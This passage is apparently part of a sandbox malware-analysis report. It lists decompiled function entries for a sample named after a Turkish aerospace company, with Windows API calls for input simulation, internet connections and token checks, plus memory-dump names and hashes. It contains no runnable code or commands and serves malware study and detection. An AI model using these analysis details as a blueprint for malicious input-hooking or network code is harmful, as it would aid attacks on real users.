#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 01016A45
WSAGetLastError.WSOCK32(00000000), ref: 01016A51

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 4b3e7810abb3deeb962cad285bd0ac4ff16247eea6f878ca8f6ad2abadd2f889
Instruction ID: 4c96861e6ca6a6b9eaccb3beebe3b0876a689cb9eb61e7098c91be7d6b401e32
Opcode Fuzzy Hash: 4b3e7810abb3deeb962cad285bd0ac4ff16247eea6f878ca8f6ad2abadd2f889
Instruction Fuzzy Hash: 5E41A2B57402006FEB60AF24CC86F7A77E49F05B54F44806CFA599B2C2DAF99D019B91

Function 0101641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0102F910), ref: 010164A7
_strlen.LIBCMT ref: 010164D9

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: af98f00daafc8c09d59be43094798a9c47f341df4e88fbba293d3c16b841c0ac
Instruction ID: bc751d0a623a5ef5aeafce9de95f406746a7251dd97f8705b9092f2f0653c787
Opcode Fuzzy Hash: af98f00daafc8c09d59be43094798a9c47f341df4e88fbba293d3c16b841c0ac
Instruction Fuzzy Hash: 1E410671600105ABCB10EBA8DC85FFEB7F8AF05310F048159F95A9B296DF78AD04DB50

Function 0100B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0100B89E
GetLastError.KERNEL32(?,00000000), ref: 0100B8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0100B8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0100B915

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: b2c028525bcf09374605f30f2b4e3cec5764d6d10293cd4d98f1534827ab5621
Instruction ID: 85ddb17dbafe979cc5060cfad7dc7881945d83faeeac2a4e25d989cbe71e8134
Opcode Fuzzy Hash: b2c028525bcf09374605f30f2b4e3cec5764d6d10293cd4d98f1534827ab5621
Instruction Fuzzy Hash: CE413979600611DFCB11EF14C484A5EBBE1EF4A310F598098EC8A9B362CB78FD01DB91

Function 01028851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 010288DE

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: fb6d6e42037d7585d108dc53f86f6ae6472b00a4f582413ce3d7a6f80a9042fb
Instruction ID: af9b092e59382c41a020751ee352e0a067b55666af03f51e2657114ad043bed4
Opcode Fuzzy Hash: fb6d6e42037d7585d108dc53f86f6ae6472b00a4f582413ce3d7a6f80a9042fb
Instruction Fuzzy Hash: 7031E13C700129BEEB719E68DC44BAC7BE5EB0A350F588143FAD1E61A1C67595408B52

Function 0102AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0102AB60
GetWindowRect.USER32(?,?), ref: 0102ABD6
PtInRect.USER32(?,?,0102C014), ref: 0102ABE6
MessageBeep.USER32(00000000), ref: 0102AC57

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 371df91ee05abf8eb191e48e6c958738b8402a733ead1c002a383e435fbaf6ab
Instruction ID: 0ad00a57d7021eee7b3ae802ecace40512317ed5a24c9bf7e3677f94b0c0fa4c
Opcode Fuzzy Hash: 371df91ee05abf8eb191e48e6c958738b8402a733ead1c002a383e435fbaf6ab
Instruction Fuzzy Hash: 6441B130700129DFCB22CF58C884BA9BBF5FF88750F2484A9E9949F655CB31E841CB90

Function 01000AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 01000B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 01000B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 01000BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 01000BFB

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: c3d5677d1437927bfbd520174d34b9a7c57e03a58e8045e67f232e9a19a49063
Instruction ID: 6f8eab147665d3ad018cb6e6cc2d3a5e7b2f9dafa5bc3adba9d6d5814e443391
Opcode Fuzzy Hash: c3d5677d1437927bfbd520174d34b9a7c57e03a58e8045e67f232e9a19a49063
Instruction Fuzzy Hash: B5314830E44A18AEFB338E2D8C05BFEBBE5AF45394F08439AF6C1521D9C3B985449751

Function 01000C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,76C1C0D0,?,00008000), ref: 01000C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 01000C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 01000CE1
SendInput.USER32(00000001,?,0000001C,76C1C0D0,?,00008000), ref: 01000D33

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: bf28746bb2148bbcc1d5234c529601c83434a65179ec8be9b95626d6b4abfe98
Instruction ID: 9978a57d852dea6097c1082b9447465264bec6b29fe97bc91151494036d80b6a
Opcode Fuzzy Hash: bf28746bb2148bbcc1d5234c529601c83434a65179ec8be9b95626d6b4abfe98
Instruction Fuzzy Hash: 5E31353090031C6EFF368B28C818BFEBBA6AF45350F04439BF5C1521D9C379954587A2

Function 00FD61C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00FD61FB
__isleadbyte_l.LIBCMT ref: 00FD6229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00FD6257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00FD628D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 85eeef74336b30b112b17685d9bb219faa29d2a50cd205f61fe59ffd9fda4a16
Instruction ID: eb655e4eb92fa0893275b34a19ba85d4fc97ab3e5fcac78988f30f6f1ba3d689
Opcode Fuzzy Hash: 85eeef74336b30b112b17685d9bb219faa29d2a50cd205f61fe59ffd9fda4a16
Instruction Fuzzy Hash: 7931E131A00246AFDF218F64CC45BBA7BBAFF42761F19402AF864D7291D731D950EB90

Function 01024EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 01024F02

Part of subcall function 01003641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0100365B
Part of subcall function 01003641: GetCurrentThreadId.KERNEL32 ref: 01003662
Part of subcall function 01003641: AttachThreadInput.USER32(00000000,?,01005005), ref: 01003669

GetCaretPos.USER32(?), ref: 01024F13
ClientToScreen.USER32(00000000,?), ref: 01024F4E
GetForegroundWindow.USER32 ref: 01024F54

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 8bfe4f71ba5b4a3cb7bcf9a44daa0756dd9f3a4bb6907e0d095e1e5cda2e5485
Instruction ID: 98f26d07a881fa05944991c020eaf701ecea21befdfa60737c48f09ca721c415
Opcode Fuzzy Hash: 8bfe4f71ba5b4a3cb7bcf9a44daa0756dd9f3a4bb6907e0d095e1e5cda2e5485
Instruction Fuzzy Hash: FE310DB1D00109AFDB10EFA5CC859EFB7F9EF99300F10406AE555E7241DAB99E458BA0

Function 0102C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA2612: GetWindowLongW.USER32(?,000000EB), ref: 00FA2623

GetCursorPos.USER32(?), ref: 0102C4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00FDB9AB,?,?,?,?,?), ref: 0102C4E7
GetCursorPos.USER32(?), ref: 0102C534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00FDB9AB,?,?,?), ref: 0102C56E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: e8aa62b5655f1838bf9bb270be98b5c20a090aeac03ea569afd2d1aef1b807da
Instruction ID: 1527163b5c37cf381370a52c172083962b88559186bfd1214030abbb455fe2d1
Opcode Fuzzy Hash: e8aa62b5655f1838bf9bb270be98b5c20a090aeac03ea569afd2d1aef1b807da
Instruction Fuzzy Hash: 8F31C135600038AFEB65CF5CC858EAE7FF5EB09390F444099FA858B261CB359990DBA4

Function 00FF8656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00FF8121
Part of subcall function 00FF810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00FF812B
Part of subcall function 00FF810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FF813A
Part of subcall function 00FF810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00FF8141
Part of subcall function 00FF810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FF8157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00FF86A3
_memcmp.LIBCMT ref: 00FF86C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FF86FC
HeapFree.KERNEL32(00000000), ref: 00FF8703

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 767e2bd48431ce061db6095f431b4ef31059272e84a820cdd74c52883f4c45b5
Instruction ID: bc3408d7cc8cce69c82f8ba8f7eb3c00bdc3dc1649b0b5bee5f5efc22c08387c
Opcode Fuzzy Hash: 767e2bd48431ce061db6095f431b4ef31059272e84a820cdd74c52883f4c45b5
Instruction Fuzzy Hash: 96216972E0010DEBDB10DFA4CA49BFEB7B8EF45394F154059E544AB250EB35AE06EB90

Function 00FC098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00FC09AE

Part of subcall function 00FA5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,01007896,?,?,00000000), ref: 00FA5A2C
Part of subcall function 00FA5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,01007896,?,?,00000000,?,?), ref: 00FA5A50

_fprintf.LIBCMT ref: 00FC09E5
OutputDebugStringW.KERNEL32(?), ref: 00FF5DBB

Part of subcall function 00FC4AAA: _flsall.LIBCMT ref: 00FC4AC3

__setmode.LIBCMT ref: 00FC0A1A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 6719359f6138ba435c7e99f6cd745d0ff89dbf588b120b9ac9415733b89bd530
Instruction ID: 169806085914589823341841466f748e417b257795081fc396db12ed21d50a36
Opcode Fuzzy Hash: 6719359f6138ba435c7e99f6cd745d0ff89dbf588b120b9ac9415733b89bd530
Instruction Fuzzy Hash: 42112772908206AFDB04B6B49C47FFEB768AF46320F14005DF205561C2EE7D5C4677A5

Function 01011767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 010117A3

Part of subcall function 0101182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0101184C
Part of subcall function 0101182D: InternetCloseHandle.WININET(00000000), ref: 010118E9

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 11c8a45c3219f50e2c4da7cc002fdf87a1cb62ca3a4c221035f356077795f919
Instruction ID: b2b22fbeb5c3166912632b1d052602e2bb07c7c17812065b83d4bccc10631744
Opcode Fuzzy Hash: 11c8a45c3219f50e2c4da7cc002fdf87a1cb62ca3a4c221035f356077795f919
Instruction Fuzzy Hash: 70219231200606BFEB269F74DC00FBABBF9FF48710F10401AFB9196654DB79941197A0

Function 01003A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0102FAC0), ref: 01003A64
GetLastError.KERNEL32 ref: 01003A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 01003A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0102FAC0), ref: 01003ADF

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 6b74f7110fc17020b38423d83ebba1d4fde87ccba3d1043f35e7eb3688e1831a
Instruction ID: 26eae621515b8783b53977de38b428d11eca7d22e65b7aa99763aa7cb00bfd57
Opcode Fuzzy Hash: 6b74f7110fc17020b38423d83ebba1d4fde87ccba3d1043f35e7eb3688e1831a
Instruction Fuzzy Hash: 2F2171745082029F9712EF28C88186B7BE4BE5B764F104A5EF4D9CB2D1DB31D949CB92

Function 01025D11 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 01025D80
SetWindowLongW.USER32(?,000000EC,00000000), ref: 01025D9A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 01025DA8
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 01025DB6

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 2b847fb8da10c75cc1031ca5c3ae4fdead74065719449a0d9da7797b4666b92e
Instruction ID: 50c987423a52976d7fda6dab83dd88afc5b29b65b8702b3ca92c5074ff85daa0
Opcode Fuzzy Hash: 2b847fb8da10c75cc1031ca5c3ae4fdead74065719449a0d9da7797b4666b92e
Instruction Fuzzy Hash: D811D631205121AFDB24AF14DC08FBF77A9EF86360F144218F956D72E2C7A8AD01C754

Function 00FFDCBE Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FFF0BC: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00FFDCD3,?,?,?,00FFEAC6,00000000,000000EF,00000119,?,?), ref: 00FFF0CB
Part of subcall function 00FFF0BC: lstrcpyW.KERNEL32(00000000,?,?,00FFDCD3,?,?,?,00FFEAC6,00000000,000000EF,00000119,?,?,00000000), ref: 00FFF0F1
Part of subcall function 00FFF0BC: lstrcmpiW.KERNEL32(00000000,?,00FFDCD3,?,?,?,00FFEAC6,00000000,000000EF,00000119,?,?), ref: 00FFF122

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00FFEAC6,00000000,000000EF,00000119,?,?,00000000), ref: 00FFDCEC
lstrcpyW.KERNEL32(00000000,?,?,00FFEAC6,00000000,000000EF,00000119,?,?,00000000), ref: 00FFDD12
lstrcmpiW.KERNEL32(00000002,cdecl,?,00FFEAC6,00000000,000000EF,00000119,?,?,00000000), ref: 00FFDD46

Strings

cdecl, xrefs: 00FFDD3D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 26f85fb3b3298914a1fe3e4397fab80825741640527ddbbf1f02081e60b5bdf3
Instruction ID: 19aa0581980c7020100804d8809b487f170e22db0ad8a8b845f7943b10c152e3
Opcode Fuzzy Hash: 26f85fb3b3298914a1fe3e4397fab80825741640527ddbbf1f02081e60b5bdf3
Instruction Fuzzy Hash: 9C11B13A200309EBCB259F34C845D7E77A9FF45350B50802AFA06CB260EB759841E790

Function 00FD50E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

